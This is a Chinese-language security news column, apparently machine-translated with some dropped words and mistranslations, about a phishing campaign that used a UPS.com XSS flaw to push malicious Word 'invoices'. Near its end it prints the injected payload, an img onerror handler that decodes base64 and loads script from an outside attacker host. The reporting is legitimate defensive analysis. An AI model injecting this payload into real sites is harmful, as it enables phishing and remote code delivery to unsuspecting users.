資訊專欄INFORMATION COLUMN
摘要：此漏洞允許威脅行為者通過遠(yuǎn)程工作人員分發(fā)惡意文檔，但使其看起來像是直接從下載的。目前顯示，的跨站漏洞已經(jīng)修復(fù)。而以上釣魚攻擊利用的是中第二普遍的安全問題，存在于近三分之二的應(yīng)用中。
一個巧妙的網(wǎng)絡(luò)釣魚活動利用UPS.com中的XSS漏洞來推送虛假和惡意的“發(fā)票”Word%20文檔。
UPS快遞公司(UPS%20Express，聯(lián)合包裹服務(wù)公司)是世界上最大的快遞承運(yùn)商與包裹遞送公司。公司創(chuàng)辦1907年，每天在全球200多個國家和地區(qū)提供物流服務(wù)，年營業(yè)額超過500億美元。
網(wǎng)絡(luò)釣魚騙局最初是由安全研究人員丹尼爾·加拉格爾發(fā)現(xiàn)的，他假裝是一封來自UPS的電子郵件，聲稱一個包裹有“例外”，需要客戶取走。
這次網(wǎng)絡(luò)釣魚攻擊的突出之處在于，威脅行為者利用UPS.com的跨站攻擊漏洞，將該網(wǎng)站的常規(guī)頁面修改為看起來像一個合法的下載頁面。
此漏洞允許威脅行為者通過遠(yuǎn)程Cloudflare工作人員分發(fā)惡意文檔，但使其看起來像是直接從UPS.com下載的。
這個電子郵件充滿了大量的合法鏈接，沒有執(zhí)行惡意行為。然而，這個追蹤號碼是一個鏈接到UPS網(wǎng)站的鏈接，其中包含一個XSS漏洞，當(dāng)頁面打開時，該漏洞會向瀏覽器注入惡意JavaScript。
UPS 網(wǎng)絡(luò)釣魚電子郵件
當(dāng)前無法加載圖像，因為攻擊者的站點(diǎn)已關(guān)閉
下面可以看到用于跟蹤號碼的URL經(jīng)過清理后的版本，原始的URL被進(jìn)一步混淆了。
網(wǎng)絡(luò)釣魚詐騙中使用的URL
這個URL有兩個有趣的字符串用作攻擊的一部分，其中第一項是以下base64編碼的字符串:
MSBqVTU3IE4zM2QgNzAgbTRLMyA3aDE1IFVSTCA0IGwxNzdsMyBMMG45M3IgNzAgSDFEMyBuM3g3IHFVM3JZIFA0UjRNLCB5MHUgNExSMzREeSBLbjB3IFdoWSA7KQ==
base64字符串包含來自威脅參與者的注釋，該注釋有助于解釋該字符串用于使URL變長，以隱藏附加到URL末尾的XSS利用查詢參數(shù)。
1%20jU57%20N33d%2070%20m4K3%207h15%20URL%204%20l177l3%20L0n93r%2070%20H1D3%20n3x7%20qU3rY%20P4R4M,%20y0u%204LR34Dy%20Kn0w%20WhY%20;)
第二點(diǎn)是當(dāng)用戶訪問UPS.com網(wǎng)站時注入的JavaScript跨站漏洞。
img%20src="x"%20onerror="Function(atob("JC5nZXRTY3JpcHQoJ2h0dHBzOi8vbS5tZWRpYS1hbWF6b24ud29ya2Vycy5kZXYvanMnKQ=="))()
atob()函數(shù)中解碼的base64字符串包含Cloudflare工作人員腳本的URL，該漏洞將加載該腳本。
